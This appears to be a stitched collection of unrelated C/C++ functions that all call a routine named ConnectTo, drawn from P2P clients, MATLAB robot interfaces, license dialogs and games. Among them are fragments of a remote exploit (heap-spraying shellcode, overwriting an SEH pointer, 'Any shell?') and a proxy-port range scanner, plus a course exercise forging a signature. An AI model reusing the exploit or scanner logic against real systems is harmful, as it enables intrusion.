void addTask() { int step=0; while(start <= end && counter < maxfd && step < 500) { ConnectTo(htonl(start),8080); ConnectTo(htonl(start),3128); ConnectTo(htonl(start),1080); ConnectTo(htonl(start),80); start++; step++; } }
void main(int argc, char *argv[]) { if(argc < 5) { help(argv[0]); return; } int itype = 0; int b = 0; if(argc == 5) b = atoi(argv[5]); char *ip = argv[1]; int port = atoi(argv[2]); printf("(^_^) Start exploiting journey!\n"); //build context, copy shellcode to heap BuildContext(ip, port); BuildContext(ip, port); BuildContext(ip, port); BuildShell(argv[3], atoi(argv[4])); BuildContext(ip, port); BuildContext(ip, port); BuildContext(ip, port); //finish building printf("(^_^) Context built!\n"); SOCKET s = ConnectTo(ip, port); send(s, peer0_0, sizeof(peer0_0), 0); char buf[5000]; WriteFakeLength(OS[itype].TopSEH-BaseImage[b]-4); recv(s, buf, sizeof(buf), 0); send(s, peer0_1, sizeof(peer0_1), 0); send(s, peer0_2, sizeof(peer0_2), 0); Disconnect(s); printf("(^_^) Function pointer wrote!\n"); //trigger printf("(*_*) Trigger fault..."); Sleep(500); s = ConnectTo(ip, port); send(s, peer0_0, sizeof(peer0_0), 0); //WriteFakeLength(0x80811102-BaseImage[b]-4); WriteFakeLength(0x226); recv(s, buf, sizeof(buf), 0); send(s, peer0_1, sizeof(peer0_1), 0); send(s, peer0_2, sizeof(peer0_2), 0); Disconnect(s); printf("Done!\n(*_*) Any shell?"); }
IndexServerConn::IndexServerConn(const std::string &addr, int port) { DPRINT(INFO, "Contacting index server at %s ...",addr.c_str()); if(!ConnectTo( addr, port)) return; SendInt((int)TS_MSG_VERSION); SendStr("WIS"); }
ServerLink::ServerLink(std::string ip, std::string port, std::string udp_port, HandleReceived& r) : handle_received_(r) { //Setup TCP socket AddressHint hints{AF_UNSPEC, SOCK_STREAM, IPPROTO_TCP}; Address address_tcp{ ip, port, hints }; socket_tcp_ = move(ConnectTo(address_tcp)); //Setup receive udp socket AddressHint hints_receive {AF_INET,SOCK_DGRAM, IPPROTO_UDP, AI_PASSIVE}; Address address_receive{ {}, port, hints_receive }; socket_receive_ = move(BindTo(address_receive)); //Setup send udp socket AddressHint hints_send{PF_INET, SOCK_DGRAM, IPPROTO_UDP}; Address address_send{ ip, udp_port, hints_send }; socket_send_ = move(ConnectTo(address_send)); }
BOOL CCertRemoveSelectDlg::ConnectServer() /*++ Routine Description: Establish a connection to the license service on the target server. Arguments: None. Return Values: BOOL. --*/ { if ( NULL == m_hLls ) { LPTSTR pszServerName; if ( m_strServerName.IsEmpty() ) { pszServerName = NULL; } else { pszServerName = m_strServerName.GetBuffer( 0 ); } ConnectTo( pszServerName, &m_hLls ); if ( NULL != pszServerName ) { m_strServerName.ReleaseBuffer(); } } if ( NULL == m_hLls ) { theApp.DisplayLastError(); if ( ( NULL != m_hWnd ) && IsWindow( m_hWnd ) ) { EndDialog( IDABORT ); } } return ( NULL != m_hLls ); }
// called when user select an entry of connection menu void SeqTrack::OnConnectSelected(wxCommandEvent &event) { list<RackTrack *>::iterator i; list<Plugin *>::iterator j; long k = 1000; wxMutexLocker m(SeqMutex); if (event.GetId() == NONE_SELECTED_ID) { ConnectTo(NULL); return; } for (i = RackPanel->RackTracks.begin(); i != RackPanel->RackTracks.end(); i++) for (j = (*i)->Racks.begin(); j != (*i)->Racks.end(); j++, k++) { if (k == event.GetId()) { ConnectTo(*j); return; } } // it's not going to happened... ConnectTo(NULL); }
int CPagerChannel::FeeLogin_init(EVTBLK *evtblk) { int nChan = evtblk->nReference; if ( Reserved & 0x08 ) return 0; Reserved |= 0x08; // 置状态“正在” CRegistry pRegistry; CString strHost = pRegistry.GetString( "Pager", "Master", "127.0.0.1" ); int nPort = pRegistry.GetInt( "Pager", "Port", 9901 ); ConnectTo( strHost, nPort ); SetTimer( 60 * 1000 ); return 0; }
void ConnectTrd::canRead() { qDebug() << "canRead"; QTcpSocket* socket = qobject_cast<QTcpSocket *>(sender()); if(socket) { QHostAddress hostIp = socket->peerAddress(); QByteArray data = socket->readAll(); QString hostName = QString::fromUtf8(data.data()); qDebug() <<"read from hostIp "<<hostIp <<data.size(); qDebug() << hostName; if(!hostIp.isNull()) { emit ConnectTo(hostIp.toString(),hostName); } } }
void MSNConnection::SetTo(const char *server, uint16 port, MSNManager *man) { fTrID = 0; fManager = man; fManMsgr = BMessenger(fManager); fServer = strdup(server); fPort = port; fRunner = new BMessageRunner(BMessenger(NULL, (BLooper *)this), new BMessage(msnmsgPulse), 500000, -1); fKeepAliveRunner = new BMessageRunner(BMessenger(NULL, (BLooper *)this), new BMessage(msnmsgPing), 60000000, -1); fState = otConnecting; fSock = ConnectTo(fServer, fPort); StartReceiver(); };
void SeqTrack::Load(SaveElementArray data) { int i; for (i = 0; i < data.GetCount(); i++) { if (data[i]->getKey() == wxT("TrackName")) SetName(data[i]->getValue()); else if (data[i]->getKey() == wxT("VuValue")) SetVuValue(data[i]->getValueInt()); else if (data[i]->getKey() == wxT("Record")) SetRecording(data[i]->getValueInt()); else if (data[i]->getKey() == wxT("Mute")) SetMute(data[i]->getValueInt()); else if (data[i]->getKey() == wxT("Selected")) { if (data[i]->getValueInt() == true) SelectTrack(); } else if (data[i]->getKey() == wxT("PluginsNameConnected")) ConnectTo(RackPanel->FindPlugin(data[i]->getValue())); } }
void Cave::ConstructRooms( int caveRoom ) { rooms.clear(); rooms.resize(caveRoom); int n = 1; for (auto it = rooms.begin(); it != rooms.end(); it++, ++n) { it->RoomID(n); } srand((unsigned int)time(nullptr)); for (auto it = rooms.begin(); it != rooms.end(); it++) { while(it->ConnectTo(rooms[rand() % caveRoom]) != Room::full) { ; } } }
void Listen::AcceptClient() { try { auto address = make_shared<sockaddr_in>(); auto client_socket_tcp = Accept(*listener_tcp_, address); //Connecting to client receiver SetAddressPort(*address, client_port_); auto client_socket_udp = ConnectTo(*address, SOCK_DGRAM, IPPROTO_UDP); if (clients_.Push(move(client_socket_tcp), move(client_socket_udp))) { Error::LogToFile("Connected: "+AddressToString(*address)); } else { //Server doesn't accept } } catch (AcceptException e) { if (e.code() != WSAEINTR) {//Happens when I close the listening socket to force the accept to return. Display::Console::PrintError(e.what()); Error::LogToFile(e.what(), e.code(), e.message()); } } }
void BuildContext(char*ip, int port) { SOCKET s = ConnectTo(ip, port); //SOCKET s = ConnectTo("202.119.9.191", 2288); send(s, peer0_0, sizeof(peer0_0), 0); char buf[5000]; WriteFakeLength(1200); recv(s, buf, sizeof(buf), 0); send(s, peer0_1, sizeof(peer0_1), 0); send(s, peer0_2, sizeof(peer0_2), 0); memset(buf, 0, sizeof(buf)); recv(s, buf, sizeof(buf), 0); Disconnect(s); if(buf[8] != 0x5c) { printf("Target not support! Quiting...."); exit(0); } Sleep(500); }
BOOL CHostBrowser::Browse() { CSingleLock pLock( &Transfers.m_pSection, TRUE ); if ( m_hSocket != INVALID_SOCKET ) return FALSE; m_sAddress = inet_ntoa( m_pAddress ); if ( m_bMustPush ) { if ( SendPush( FALSE ) ) { theApp.Message( MSG_SYSTEM, IDS_BROWSE_PUSHED_TO, (LPCTSTR)m_sAddress ); } else { theApp.Message( MSG_ERROR, IDS_BROWSE_CANT_PUSH_TO, (LPCTSTR)m_sAddress ); return FALSE; } } else { if ( ConnectTo( &m_pAddress, m_nPort ) ) { theApp.Message( MSG_SYSTEM, IDS_BROWSE_CONNECTING_TO, (LPCTSTR)m_sAddress ); } else { theApp.Message( MSG_ERROR, IDS_BROWSE_CANT_CONNECT_TO, (LPCTSTR)m_sAddress ); return FALSE; } } m_nState = hbsConnecting; m_nHits = 0; if ( m_pProfile != NULL ) delete m_pProfile; m_pProfile = NULL; return TRUE; }
bool Vdecoder_video_param_proxy::Init(CodecID codecID, ULONG codecTag) { m_pAVCodec = avcodec_find_decoder(codecID); if(m_pAVCodec == NULL){ return false; } m_pAVCtx = avcodec_alloc_context3(m_pAVCodec); if(m_pAVCtx == NULL){ return false; } m_pFrame = avcodec_alloc_frame(); if(m_pFrame == NULL){ return false; } m_nThreadNumber = 1; m_pAVCtx->width = 0; m_pAVCtx->height = 0; m_pAVCtx->codec_tag = codecTag; m_pAVCtx->intra_matrix = (uint16_t*)calloc(sizeof(uint16_t),64); m_pAVCtx->inter_matrix = (uint16_t*)calloc(sizeof(uint16_t),64); m_pAVCtx->codec_id = codecID; m_pAVCtx->workaround_bugs = 1; m_pAVCtx->error_concealment = 3; // m_pAVCtx->error_recognition = 1; m_pAVCtx->idct_algo = 0; m_pAVCtx->skip_loop_filter = AVDISCARD_DEFAULT; // m_pAVCtx->dsp_mask = AV_CPU_FLAG_FORCE; /* if(m_pCpuId != NULL){ m_pAVCtx->dsp_mask |= m_pCpuId->GetFeatures(); } */ m_pAVCtx->debug_mv = 0; ConnectTo (m_pAVCtx); if(avcodec_open2(m_pAVCtx, m_pAVCodec, NULL) < 0){ return false; } avcodec_flush_buffers (m_pAVCtx); return true; }
bool MFDConnector::ConnectToVessel(VESSEL *v) { // // Disconnect in case we're already connected. // Disconnect(); // // See if we can find the appropriate connector on the vessel. // Connector *vessel = GetVesselConnector(v, VIRTUAL_CONNECTOR_PORT, type); // // Try to connect if we did. // if (vessel) { return ConnectTo(vessel); } return false; }
BOOL CCertSourceSelectDlg::ConnectServer() /*++ Routine Description: Establish a connection to the license service on the target server. Arguments: None. Return Values: BOOL. --*/ { NTSTATUS nt; if ( NULL == m_hLls ) { LPTSTR pszUniServerName = NULL; if ( NULL == m_pszServerName ) { pszUniServerName = NULL; nt = STATUS_SUCCESS; } else { pszUniServerName = (LPTSTR) LocalAlloc( LMEM_FIXED, sizeof( TCHAR ) * ( 1 + strlen( m_pszServerName ) ) ); if ( NULL == pszUniServerName ) { nt = ERROR_NOT_ENOUGH_MEMORY; theApp.SetLastError( (DWORD) nt ); } else { wsprintf( pszUniServerName, TEXT( "%hs" ), m_pszServerName ); nt = STATUS_SUCCESS; } } if ( STATUS_SUCCESS == nt ) { nt = ConnectTo( pszUniServerName, &m_hLls ); } if ( NULL != pszUniServerName ) { LocalFree( pszUniServerName ); } } if ( NULL == m_hLls ) { theApp.DisplayLastError(); if ( ( NULL != m_hWnd ) && IsWindow( m_hWnd ) ) { EndDialog( IDABORT ); } } return ( NULL != m_hLls ); }
void SeqTrack::RemoveReferenceTo(Plugin *plug) { RebuildConnectList(); if (Connected == plug) ConnectTo(NULL); }
int main(int argc, char **argv) { Connection con; int cnt, ok; Message msg, new_msg; longnum x, Daemon_y, mdc, new_mdc; const char *OurName = "mima"; /************** Laden der öffentlichen und privaten Daten ***************/ if (!Get_Privat_Key(NULL, &p, &w, &x) || !Get_Public_Key(DAEMON_NAME, &Daemon_y)) exit(0); LSeed(GetCurrentTime()); /******************** Verbindung zum Dämon aufbauen *********************/ //OurName = MakeNetName(NULL); /* gibt in Wirklichkeit Unix-Gruppenname zurück! */ if (strlen(OverrideNetName) > 0) { OurName = OverrideNetName; } if (!(con = ConnectTo(OurName, DAEMON_NAME))) { fprintf(stderr, "Kann keine Verbindung zum Daemon aufbauen: %s\n", NET_ErrorText()); exit(20); } /*********** Message vom Typ ReportRequest initialisieren ***************/ msg.typ = ReportRequest; /* Typ setzten */ strcpy(msg.body.ReportRequest.Name, OurName); /* Gruppennamen eintragen */ Generate_MDC(&msg, &p, &mdc); /* MDC generieren ... */ Generate_Sign(&mdc, &msg.sign_r, &msg.sign_s, &x); /* ... und Nachricht unterschreiben */ /************* Nachricht abschicken, Antwort einlesen *******************/ if (Transmit(con, &msg, sizeof(msg)) != sizeof(msg)) { fprintf(stderr, "Fehler beim Senden des 'ReportRequest': %s\n", NET_ErrorText()); exit(20); } if (Receive(con, &msg, sizeof(msg)) != sizeof(msg)) { fprintf(stderr, "Fehler beim Empfang des 'ReportResponse': %s\n", NET_ErrorText()); exit(20); } /****************** Überprüfen der Dämon-Signatur ***********************/ printf("Nachricht vom Dämon:\n"); for (cnt = 0; cnt < msg.body.ReportResponse.NumLines; cnt++) { printf("\t%s\n", msg.body.ReportResponse.Report[cnt]); } Generate_MDC(&msg, &p, &mdc); ok = Verify_Sign(&mdc, &msg.sign_r, &msg.sign_s, &Daemon_y); if (ok) printf("Dämon-Signatur ist ok!\n"); else { printf("Dämon-Signatur ist FEHLERHAFT!\n"); return 0; } /*>>>> <<<<* *>>>> AUFGABE: Fälschen der Dämon-Signatur <<<<* *>>>> <<<<*/ printf("Begin zu fälshen:\n"); memset(&new_msg, 0, sizeof(Message)); new_msg.typ = VerifyRequest; generateMsg(&new_msg); toFitMDC(&new_msg, &msg); Generate_MDC(&new_msg, &p, &new_mdc); if (!LCompare(&mdc, &new_mdc)) { printf("Fälschung fertig!\n"); LCpy(&new_msg.sign_r, &msg.sign_r); LCpy(&new_msg.sign_s, &msg.sign_s); if (!(con = ConnectTo(OurName, DAEMON_NAME))) { fprintf(stderr, "Kann keine Verbindung zum Daemon aufbauen: %s\n", NET_ErrorText()); exit(20); } if (Transmit(con, &new_msg, sizeof(new_msg)) != sizeof(new_msg)) { fprintf(stderr, "Fehler beim Senden des 'VerifyRequest': %s\n", NET_ErrorText()); exit(20); } if (Receive(con, &msg, sizeof(msg)) != sizeof(msg)) { fprintf(stderr, "Fehler beim Empfang des 'VerifyResponse': %s\n", NET_ErrorText()); exit(20); } printf("Nachricht vom Dämon:\n"); printf("\t%s\n", msg.body.VerifyResponse.Res); } else printf("Fälschung gescheitert\n"); return 0; }
void CNeighboursConnections::Maintain() { ASSUME_LOCK(m_pSection); CNeighboursRouting::Maintain(); quint32 nHubsG2 = 0, nLeavesG2 = 0; quint32 nCoreHubsG2 = 0, nCoreLeavesG2 = 0; quint32 nUnknown = 0; foreach(CNeighbour * pNode, m_lNodes) { if(pNode->m_nState == nsConnected) { switch(pNode->m_nProtocol) { case dpG2: switch(((CG2Node*)pNode)->m_nType) { case G2_UNKNOWN: nUnknown++; break; case G2_HUB: nHubsG2++; if(((CG2Node*)pNode)->m_bG2Core) { nCoreHubsG2++; } break; case G2_LEAF: nLeavesG2++; if(((CG2Node*)pNode)->m_bG2Core) { nCoreLeavesG2++; } } break; default: nUnknown++; break; } } else { nUnknown++; } } m_nHubsConnectedG2 = nHubsG2; m_nLeavesConnectedG2 = nLeavesG2; if(!Neighbours.IsG2Hub()) { if(nHubsG2 > quazaaSettings.Gnutella2.NumHubs) { int nToDisconnect = nHubsG2 - quazaaSettings.Gnutella2.NumHubs; for(; nToDisconnect; nToDisconnect--) { DisconnectYoungest(dpG2, G2_HUB, (100 * nCoreHubsG2 / nHubsG2) > 50); } } else if(nHubsG2 < quazaaSettings.Gnutella2.NumHubs) { QMutexLocker l(&HostCache.m_pSection); qint32 nAttempt = qint32((quazaaSettings.Gnutella2.NumHubs - nHubsG2) * quazaaSettings.Gnutella.ConnectFactor); nAttempt = qMin(nAttempt, 8) - nUnknown; QDateTime tNow = QDateTime::currentDateTimeUtc(); bool bCountry = true; int nCountry = 0; QList<CHostCacheHost*> oExcept; for(; nAttempt > 0; nAttempt--) { // nowe polaczenie CHostCacheHost* pHost = HostCache.GetConnectable(tNow, oExcept, (bCountry ? (quazaaSettings.Connection.PreferredCountries.size() ? quazaaSettings.Connection.PreferredCountries.at(nCountry) : GeoIP.findCountryCode(Network.m_oAddress)) : "ZZ")); if(pHost) { if( !Neighbours.Find(pHost->m_oAddress) ) { ConnectTo(pHost->m_oAddress, dpG2); pHost->m_tLastConnect = tNow; } else { oExcept.append(pHost); nAttempt++; } } else { if(!bCountry) { break; } else { if(quazaaSettings.Connection.PreferredCountries.size()) { nCountry++; if(nCountry >= quazaaSettings.Connection.PreferredCountries.size()) { bCountry = false; } nAttempt++; continue; } bCountry = false; nAttempt++; } } } } } else { if(nHubsG2 > quazaaSettings.Gnutella2.NumPeers) { // rozlaczyc hub int nToDisconnect = nHubsG2 - quazaaSettings.Gnutella2.NumPeers; for(; nToDisconnect; nToDisconnect--) { DisconnectYoungest(dpG2, G2_HUB, (100 * nCoreHubsG2 / nHubsG2) > 50); } } else if(nHubsG2 < quazaaSettings.Gnutella2.NumPeers) { QMutexLocker l(&HostCache.m_pSection); QDateTime tNow = QDateTime::currentDateTimeUtc(); qint32 nAttempt = qint32((quazaaSettings.Gnutella2.NumPeers - nHubsG2) * quazaaSettings.Gnutella.ConnectFactor); nAttempt = qMin(nAttempt, 8) - nUnknown; QList<CHostCacheHost*> oExcept; for(; nAttempt > 0; nAttempt--) { // nowe polaczenie CHostCacheHost* pHost = HostCache.GetConnectable(tNow, oExcept); if(pHost) { if( !Neighbours.Find(pHost->m_oAddress) ) { ConnectTo(pHost->m_oAddress, dpG2); pHost->m_tLastConnect = tNow; } else { oExcept.append(pHost); nAttempt++; } } else { break; } } } if(nLeavesG2 > quazaaSettings.Gnutella2.NumLeafs) { int nToDisconnect = nLeavesG2 - quazaaSettings.Gnutella2.NumLeafs; for(; nToDisconnect; nToDisconnect--) { DisconnectYoungest(dpG2, G2_LEAF, (100 * nCoreLeavesG2 / nLeavesG2) > 50); } } } }
// Connect this CConnection object to a remote computer on the Internet // Takes pHost, a pointer to a SOCKADDR_IN structure, which is MFC's way of holding an IP address and port number // Returns true if connected BOOL CConnection::ConnectTo(const SOCKADDR_IN* pHost) { // Call the next ConnectTo method, and return the result return ConnectTo( &pHost->sin_addr, htons( pHost->sin_port ) ); }
void mexFunction(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[]) { char buf[MAXLENGTH]; char numStr[20]; double value; double *pvals,*pind; int i,j,numRobots,numDOF; int sockd; mxArray *vals; /* Check for proper number of arguments */ if (nrhs > 1) { mexErrMsgTxt("getDOFVals takes at most one input argument."); } else if (nlhs > 1) { mexErrMsgTxt("getDOFVals takes one output argument."); } if (nlhs == 0 ) nlhs=1; sockd = ConnectTo("localhost",4765); if (sockd < 0) mexErrMsgTxt("Could not connect"); strcpy(buf,"getDOFVals "); // if no robots were specified by user, read total number of robots if (nrhs==0) { strcat(buf,"ALL\n"); Writeline(sockd,buf,strlen(buf)); Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%d\n",&numRobots); } // otherwise send the body list else { numRobots = mxGetNumberOfElements(prhs[0]); if (numRobots>0) { sprintf(numStr,"%d ",numRobots); strcat(buf,numStr); pind = mxGetPr(prhs[0]); for (i=0;i<numRobots-1;i++) { sprintf(numStr,"%d ",(int)pind[i]-1); strcat(buf,numStr); } sprintf(numStr,"%d\n",(int)pind[i]-1); strcat(buf,numStr); Writeline(sockd,buf,strlen(buf)); } } if (numRobots == 0) { plhs[0] = NULL; plhs[0] = NULL; } else { if (numRobots > 1){ for (i=0;i<nlhs;i++) plhs[i] = mxCreateCellArray(1,&numRobots); } for (i=0;i<numRobots;i++) { Readline(sockd,buf,MAXLENGTH); if (!strncmp(buf,"Error",5)) { mexErrMsgTxt(buf); break; } sscanf(buf,"%d\n",&numDOF); sprintf(buf,"NumDOF read: %d",numDOF); if (numDOF == 0) { vals = mxCreateScalarDouble(0); } else { vals = mxCreateDoubleMatrix(numDOF,1,mxREAL); pvals = mxGetPr(vals); } for (j=0;j<numDOF;j++) { Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%lf\n",&value); pvals[j] = value; } if (numRobots == 1) { plhs[0] = vals; } else { mxSetCell(plhs[0],i,vals); } } } CloseConnection(sockd); return; }
int main(int argc, char **argv) { Connection con; Message msg1, msg2, msg3; char *OurNetName, *OthersNetName, *ServerNetName; /* Konstruktion eindeutiger Namen für das Netzwerksystem: * OurName, OthersName und ServerName wird der Gruppenname vorangestellt. * So gibt es KEINE Kollisionen zwischen den einzelnen Gruppen! * Dieser Netzname wird nur für den Verbindungsaufbau über das * E.I.S.S.-Network-Playfield benutzt. Die im Rahmen des Protokolls * ausgetauschten Namen sind OutName, OthersName und ServerName! */ OurNetName = MakeNetName2(OurName); OthersNetName = MakeNetName2(OthersName); ServerNetName = MakeNetName2(ServerName); /*************** Verbindungsaufbau zum Server ********************/ /* Die Verbindung zum Server muß einen anderen "Quell"-Namen haben, als * die zu Bob. Daher hängen wir einfach ein _S an! */ if (!(con = ConnectTo(concatstrings(OurNetName, "_S", NULL), ServerNetName))) { fprintf(stderr, "ALICE: Kann keine Verbindung zum Server aufbauen: %s\n", NET_ErrorText()); exit(20); } /****** Paket mit den beiden Namen erzeugen und Abschicken *******/ msg1.typ = Alice_Server; strcpy(msg1.body.Alice_Server.A, OurName); strcpy(msg1.body.Alice_Server.B, OthersName); PutMessage("Server", con, &msg1); /*********** Antwort des Servers lesen ***********/ GetMessage("Server", con, &msg1, Server_Alice); /**************** Verbindung zum Server abbauen *************/ DisConnect(con); /*>>>> <<<<* *>>>> AUFGABE: - Entschlüsseln der Nachricht <<<<* *>>>> - Nachrichtenaustauch mit Bob <<<<* *>>>> - Überprüfen der Bob-Nachricht <<<<* *>>>> - Schlüssel für Telefonieren <<<<* *>>>> <<<<*/ // Entschlüsseln der Nachricht DES_ikey ikey_sa; DES_GenKeys(Key_AS, 0, ikey_sa); DES_data iv; memset(&iv, 0, sizeof(DES_data)); ServerData toDecServerData; memcpy(&toDecServerData, &msg1.body.Server_Alice.Serv_A1, sizeof(ServerData)); DES_OFB(ikey_sa, iv, &toDecServerData, sizeof(ServerData), &msg1.body.Server_Alice.Serv_A1); // Analysierung der Nachricht DES_GenKeys(msg1.body.Server_Alice.Serv_A1.Key_AB, 0, iKey_AB); int TimeStamp = msg1.body.Server_Alice.Serv_A1.TimeStamp; int cur_time = GetCurrentTime(); printf("%d\n",cur_time-TimeStamp); if (cur_time - TimeStamp < 0 || cur_time - TimeStamp > 30000) { //set Time-out 30s fprintf(stderr, "TimeStamp check Error!\n"); exit(20); } // Generierung neuer Nachricht zu Bob mit ServerData_B und AuthData_A msg2.typ = Alice_Bob; memcpy(&msg2.body.Alice_Bob.Serv_B2, &msg1.body.Server_Alice.Serv_B1, sizeof(ServerData)); strcpy(&msg2.body.Alice_Bob.Auth_A2.Name, &msg1.body.Server_Alice.Serv_A1.Receiver); msg2.body.Alice_Bob.Auth_A2.Rand = RandomNumber(); AuthData toEncAuthData; memset(&iv, 0, sizeof(DES_data)); memcpy(&toEncAuthData, &msg2.body.Alice_Bob.Auth_A2, sizeof(AuthData)); DES_OFB(iKey_AB, iv, &toEncAuthData, sizeof(AuthData), &msg2.body.Alice_Bob.Auth_A2); // Schick Bob die Nachricht if (!(con = ConnectTo(OurNetName, OthersNetName))) { fprintf(stderr, "ALICE: Kann keine Verbindung zum %s aufbauen: %s\n", OthersNetName, NET_ErrorText()); exit(20); } PutMessage(OthersName, con, &msg2); // bekommen der Nachricht von Bob, enschlüsseln und überprüfen GetMessage(OthersName, con, &msg3, Bob_Alice); AuthData toDecAuthData; memset(&iv, 0, sizeof(DES_data)); memcpy(&toDecAuthData, &msg3.body.Bob_Alice.Auth_B3, sizeof(AuthData)); DES_OFB(iKey_AB, iv, &toDecAuthData, sizeof(AuthData), &msg3.body.Bob_Alice.Auth_B3); if (strcmp(msg3.body.Bob_Alice.Auth_B3.Name, OthersName) != 0) { fprintf(stderr, "Sender check Error!\n"); exit(20); } if (msg3.body.Bob_Alice.Auth_B3.Rand != SwitchRandNum(toEncAuthData.Rand)) { fprintf(stderr, "Rand check Error!\n"); exit(20); } printf("Keberos-Handshake successful!\n"); /*********************** Phone starten *****************************/ Phone(con, OurName, OthersName, EnCrypt, DeCrypt); DisConnect(con); return 0; }
BOOL CHostBrowser::Browse() { CQuickLock oTransfersLock( Transfers.m_pSection ); m_sAddress = inet_ntoa( m_pAddress ); m_sServer = protocolAbbr[ ( ( m_nProtocol == PROTOCOL_ANY ) ? PROTOCOL_NULL : m_nProtocol ) ]; m_pVendor = VendorCache.Lookup( m_sServer ); switch ( m_nProtocol ) { case PROTOCOL_G2: Settings.Gnutella2.Enabled = true; break; case PROTOCOL_G1: Settings.Gnutella1.Enabled = true; break; case PROTOCOL_ED2K: Settings.eDonkey.Enabled = true; break; case PROTOCOL_DC: Settings.DC.Enabled = true; break; //default: } // ED2K Clients have their connection controlled by ED2KClient. // (One connection used for many things) if ( m_nProtocol == PROTOCOL_ED2K ) { // Lock this object until we are finished with it CQuickLock oCEDClientsLock( EDClients.m_pSection ); SOCKADDR_IN* pServer = NULL; // ToDo: Add push connections CEDClient* pClient = EDClients.Connect( m_pAddress.s_addr, m_nPort, ( pServer ? &pServer->sin_addr : NULL ), ( pServer ? pServer->sin_port : 0 ), m_oClientID ); if ( pClient && pClient->m_bConnected ) { // Send browse request if ( CEDPacket* pPacket = CEDPacket::New( ED2K_C2C_ASKSHAREDDIRS ) ) pClient->Send( pPacket ); } else if ( ! pClient || ! pClient->Connect() ) { theApp.Message( MSG_NOTICE, IDS_BROWSE_CANT_CONNECT_TO, (LPCTSTR)m_sAddress ); return FALSE; } } else if ( m_nProtocol == PROTOCOL_DC ) { CEnvyURL oURL; oURL.m_nProtocol = PROTOCOL_DC; oURL.m_nAction = CEnvyURL::uriDownload; oURL.m_pServerAddress = m_pAddress; oURL.m_nServerPort = m_nPort; oURL.m_sLogin = m_sNick; oURL.m_sName.Format( L"Files of %s.xml.bz2", (LPCTSTR)SafeFilename( m_sNick ) ); oURL.m_sURL.Format( L"dchub://%s@%s:%u/files.xml.bz2", (LPCTSTR)URLEncode( m_sNick ), (LPCTSTR)CString( inet_ntoa( m_pAddress ) ), m_nPort ); return ( Downloads.Add( oURL ) != NULL ); } else // G2/Gunetella { if ( IsValid() ) return FALSE; if ( m_bMustPush ) { if ( SendPush( FALSE ) ) { theApp.Message( MSG_INFO, IDS_BROWSE_PUSHED_TO, (LPCTSTR)m_sAddress ); } else { theApp.Message( MSG_NOTICE, IDS_BROWSE_CANT_PUSH_TO, (LPCTSTR)m_sAddress ); return FALSE; } } else { if ( ConnectTo( &m_pAddress, m_nPort ) ) { theApp.Message( MSG_INFO, IDS_BROWSE_CONNECTING_TO, (LPCTSTR)m_sAddress ); } else { theApp.Message( MSG_NOTICE, IDS_BROWSE_CANT_CONNECT_TO, (LPCTSTR)m_sAddress ); return FALSE; } } } m_nState = hbsConnecting; m_nHits = 0; delete m_pProfile; m_pProfile = NULL; // Ensure window text is updated after state has been set to "connecting" m_pNotify->UpdateMessages(); return TRUE; }
void mexFunction(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[]) { char buf[MAXLENGTH]; char numStr[20]; double x,y,z,tx,ty,tz; double *pwrench,*ploc,*perr,*pind; int i,j,numBodies,numContacts; int sockd; mxArray *wrench,*loc,*err; /* Check for proper number of arguments */ if (nrhs > 1) { mexErrMsgTxt("get average contacts takes at most one input argument."); } else if (nlhs > 3) { mexErrMsgTxt("get average contacts takes at most three output arguments."); } sockd = ConnectTo("localhost",4765); if (sockd < 0) mexErrMsgTxt("Could not connect"); // send how many types of date we're collecting if (nlhs == 0 ) nlhs=1; sprintf(buf,"getContacts %d ",nlhs); // if no bodies were specified by user, read total number of bodies if (nrhs==0) { strcat(buf,"ALL\n"); Writeline(sockd,buf,strlen(buf)); Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%d\n",&numBodies); } // otherwise send the body list else { numBodies = mxGetNumberOfElements(prhs[0]); if (numBodies>0) { sprintf(numStr,"%d ",numBodies); strcat(buf,numStr); pind = mxGetPr(prhs[0]); for (i=0;i<numBodies-1;i++) { sprintf(numStr,"%d ",(int)pind[i]-1); strcat(buf,numStr); } sprintf(numStr,"%d\n",(int)pind[i]-1); strcat(buf,numStr); Writeline(sockd,buf,strlen(buf)); } } if (numBodies == 0) { plhs[0] = NULL; plhs[0] = NULL; } else { if (numBodies > 1){ for (i=0;i<nlhs;i++) plhs[i] = mxCreateCellArray(1,&numBodies); } for (i=0;i<numBodies;i++) { Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%d\n",&numContacts); if (numContacts == 0) { wrench = mxCreateScalarDouble(0); if (nlhs > 1) {loc = mxCreateScalarDouble(0);} if (nlhs > 2) {err = mxCreateScalarDouble(0);} } else { wrench = mxCreateDoubleMatrix(numContacts,6,mxREAL); pwrench = mxGetPr(wrench); if (nlhs > 1) {loc = mxCreateDoubleMatrix(numContacts,3,mxREAL); ploc=mxGetPr(loc);} if (nlhs > 2) {err = mxCreateDoubleMatrix(numContacts,1,mxREAL); perr=mxGetPr(err);} } for (j=0;j<numContacts;j++) { Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%lf %lf %lf %lf %lf %lf\n",&x,&y,&z,&tx,&ty,&tz); pwrench[j] = x; pwrench[numContacts+j] = y; pwrench[2*numContacts+j] = z; pwrench[3*numContacts+j] = tx; pwrench[4*numContacts+j] = ty; pwrench[5*numContacts+j] = tz; if (nlhs > 1) { Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%lf %lf %lf\n",&x,&y,&z); ploc[j] = x; ploc[numContacts+j] = y; ploc[2*numContacts+j] = z; } if (nlhs > 2) { Readline(sockd,buf,MAXLENGTH); sscanf(buf,"%lf\n",perr+j); } } if (numBodies == 1) { plhs[0] = wrench; if (nlhs > 1) plhs[1] = loc; if (nlhs > 2) plhs[2] = err; } else { mxSetCell(plhs[0],i,wrench); if (nlhs > 1) mxSetCell(plhs[1],i,loc); if (nlhs > 2) mxSetCell(plhs[2],i,err); } } } CloseConnection(sockd); return; }
BOOL CConnection::ConnectTo(SOCKADDR_IN* pHost) { return ConnectTo( &pHost->sin_addr, htons( pHost->sin_port ) ); }